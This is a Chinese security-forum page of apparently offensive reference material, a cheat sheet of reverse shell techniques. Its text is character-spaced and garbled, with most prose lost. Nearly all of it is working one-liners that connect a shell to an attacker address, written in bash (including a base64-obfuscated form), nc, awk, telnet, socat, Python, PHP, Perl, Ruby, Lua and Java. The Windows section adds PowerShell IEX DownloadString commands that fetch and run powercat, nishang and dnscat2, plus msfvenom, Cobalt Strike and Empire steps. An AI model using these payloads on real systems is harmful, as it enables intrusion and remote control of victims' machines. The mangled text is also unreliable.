[1011] 2020-08-13_反弹shell的各种姿势

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-16
2020-08-13_反弹shell的各种姿势 s h e l l 姿   B y p a s s   B y p a s s   2 0 2 0 - 0 8 - 1 3 s h e l l s h e l l 便 s h e l l 姿 1 9 2 . 1 6 8 . 9 9 . 2 4 2 1 2 3 4 L i n u x   s h e l l 姿 姿 b a s h 姿 姿 n c 姿 姿 a w k 姿 姿 t e l n e t 1 2 3 4 4 3 2 1 s h e l l 1 2 3 4 4 3 2 1 姿 姿 s o c a t 姿 姿 P y t h o n 姿 姿 P H P 姿 姿 P e r l 姿 姿 R u b y 姿 姿 L u a 姿 姿 J A V A b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 9 9 . 2 4 2 / 1 2 3 4   0 > & 1 b a s e 6 4 b a s h   - c   ' { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x O T I u M T Y 4 L j k 5 L j I 0 M i 8 x M j M 0 I D A + J j E = } | { b a s e 6 4 , - d } | { b a s h , - i } ' 线 h t t p : / / w w w . j a c k s o n - t . c a / r u n t i m e - e x e c - p a y l o a d s . h t m l e x e c   5 < > / d e v / t c p / 1 9 2 . 1 6 8 . 9 9 . 2 4 2 / 1 2 3 4 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ; d o n e e x e c   / b i n / s h   0 < / d e v / t c p / 1 9 2 . 1 6 8 . 9 9 . 2 4 2 / 1 2 3 4   1 > & 0   2 > & 0 n c   - e   / b i n / b a s h   1 9 2 . 1 6 8 . 9 9 . 2 4 2   1 2 3 4 a w k   ' B E G I N { s = " / i n e t / t c p / 0 / 1 9 2 . 1 6 8 . 9 9 . 2 4 2 / 1 2 3 4 " ; f o r ( ; s | & g e t l i n e   c ; c l o s e ( c ) ) w h i l e ( c | g e t l i n e ) p r i n t | & s ; c l o s e ( s ) } ' t e l n e t   1 9 2 . 1 6 8 . 9 9 . 2 4 2   1 2 3 4   |   / b i n / b a s h   |   t e l n e t   1 9 2 . 1 6 8 . 9 9 . 2 4 2   4 3 2 1 s o c a t   e x e c : ' b a s h   - l i ' , p t y , s t d e r r , s e t s i d , s i g i n t , s a n e   t c p : 1 9 2 . 1 6 8 . 9 9 . 2 4 2 : 1 2 3 4 p y t h o n   - c   " i m p o r t   o s , s o c k e t , s u b p r o c e s s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( ' 1 9 2 . 1 6 8 . 9 9 . 2 4 2 ' , 1 2 3 4 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ ' / b i n / b a s h ' , ' - i ' ] ) ; " p h p   - r   ' $ s o c k = f s o c k o p e n ( " 1 9 2 . 1 6 8 . 9 9 . 2 4 2 " , 1 2 3 4 ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' p e r l   - e   ' u s e   S o c k e t ; $ i = " 1 9 2 . 1 6 8 . 9 9 . 2 4 2 " ; $ p = 1 2 3 4 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ; ' r u b y   - r s o c k e t   - e ' f = T C P S o c k e t . o p e n ( " 1 9 2 . 1 6 8 . 9 9 . 2 4 2 " , 1 2 3 4 ) . t o _ i ; e x e c   s p r i n t f ( " / b i n / s h   - i   < & % d   > & % d   2 > & % d " , f , f , f ) ' l u a   - e   " r e q u i r e ( ' s o c k e t ' ) ; r e q u i r e ( ' o s ' ) ; t = s o c k e t . t c p ( ) ; t : c o n n e c t ( ' 1 9 2 . 1 6 8 . 9 9 . 2 4 2 ' , ' 1 2 3 4 ' ) ; o s . e x e c u t e ( ' / b i n / s h   - i   < & 3   > & 3   2 > & 3 ' ) ; " p u b l i c   c l a s s   R e v s   {         / * *         *   @ p a r a m   a r g s         *   @ t h r o w s   E x c e p t i o n           * / p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 / /   T O D O   A u t o - g e n e r a t e d   m e t h o d   s t u b                 R u n t i m e   r   =   R u n t i m e . g e t R u n t i m e ( ) ;                 S t r i n g   c m d [ ] =   { " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / 1 9 2 . 1 6 8 . 9 9 . 2 4 2 / 1 2 3 4 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e " } ;                 P r o c e s s   p   =   r . e x e c ( c m d ) ;                 p . w a i t F o r ( ) ;
R e v s . j a v a s h e l l W i n d o w s s h e l l 姿 姿 n c 姿 姿 p o w e r s h e l l p o w e r c a t n e t c a t p o w e r s h e l l n e t c a t 姿 姿 M S F s h e l l 使 m s f v e n o m P a y l o a d 姿 姿 C o b a l t   s t r i k e s h e l l 姿 姿 E m p i r e s h e l l 姿 姿 n i s h a n g s h e l l R e v e r s e   T C P   s h e l l R e v e r s e   U D P   s h e l l 姿 姿 D n s c a t s h e l l g i t h u b                 p . w a i t F o r ( ) ;         } } j a v a c   R e v s . j a v a   j a v a   R e v s n e t c a t   h t t p s : / / e t e r n a l l y b o r e d . o r g / m i s c / n e t c a t / n c   1 9 2 . 1 6 8 . 9 9 . 2 4 2   1 2 3 4   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e P S   C : W W W > p o w e r s h e l l   I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b e s i m o r h i n o / p o w e r c a t / m a s t e r / p o w e r c a t . p s 1 ' ) ;   p o w e r c a t   - c   1 9 2 . 1 6 8 . 9 9 . 2 4 2 P S   C : W W W >   I m p o r t - M o d u l e   . / p o w e r c a t . p s 1 P S   C : W W W >   p o w e r c a t   - c   1 9 2 . 1 6 8 . 9 9 . 2 4 2   - p   1 2 3 4   - e   c m d m s f v e n o m   - l   p a y l o a d s   |   g r e p   ' c m d / w i n d o w s / r e v e r s e ' m s f v e n o m   - p   c m d / w i n d o w s / r e v e r s e _ p o w e r s h e l l   L H O S T = 1 9 2 . 1 6 8 . 9 9 . 2 4 2   L P O R T = 1 2 3 4 1 C o b a l t   S t r i k e > L i s t e n e r s > T a b L i s t e n e r s a d d 2 p a y l o a d A t t a c k s > P a c k a g e s > W i n d o w s   E x e c u t a b l e 3 p o w e r s h e l l   p a y l o a d u s e s t a g e r   w i n d o w s / l a u n c h e r _ v b s i n f o s e t   L i s t e n e r   t e s t e x e c u t e p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m   / s a m r a t a s h o k / n i s h a n g / 9 a 3 c 7 4 7 b c f 5 3 5 e f 8 2 d c 4 c 5 c 6 6 a a c 3 6 d b 4 7 c 2 a f d e / S h e l l s / I n v o k e - P o w e r S h e l l T c p . p s 1 ' p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / s a m r a t a s h o k / n i s h a n g / 9 a 3 c 7 4 7 b c f 5 3 5 e f 8 2 d c 4 c 5 c 6 6 a a c 3 6 d b 4 7 c 2 a f d e / S h e l l s / I n v o k e - P o w e r S h e l l U d p . p s 1 ' I n v o k e - P o w e r S h e l l U d p   - R e v e r s e   - I P A d d r e s s   1 0 . 1 . 1 . 2 1 0   - p o r t   1 2 3 4 h t t p s : / / g i t h u b . c o m / i a g o x 8 6 / d n s c a t 2 r u b y   d n s c a t 2 . r b   - - d n s   " d o m a i n = l l t e s t . c o m , h o s t = x x . x x . x x . x x "   - - n o - c a c h e   - e   o p e n   - e   o p e n   p o w e r s h e l l   I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / l u k e b a g g e t t / d n s c a t 2 - p o w e r s h e l l / m a s t e r / d n s c a t 2 . p s 1 ' ) ; S t a r t - D n s c a t 2   - D o m a i n   l l t e s t . c o m   - D N S S e r v e r   x x . x x . x x . x x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则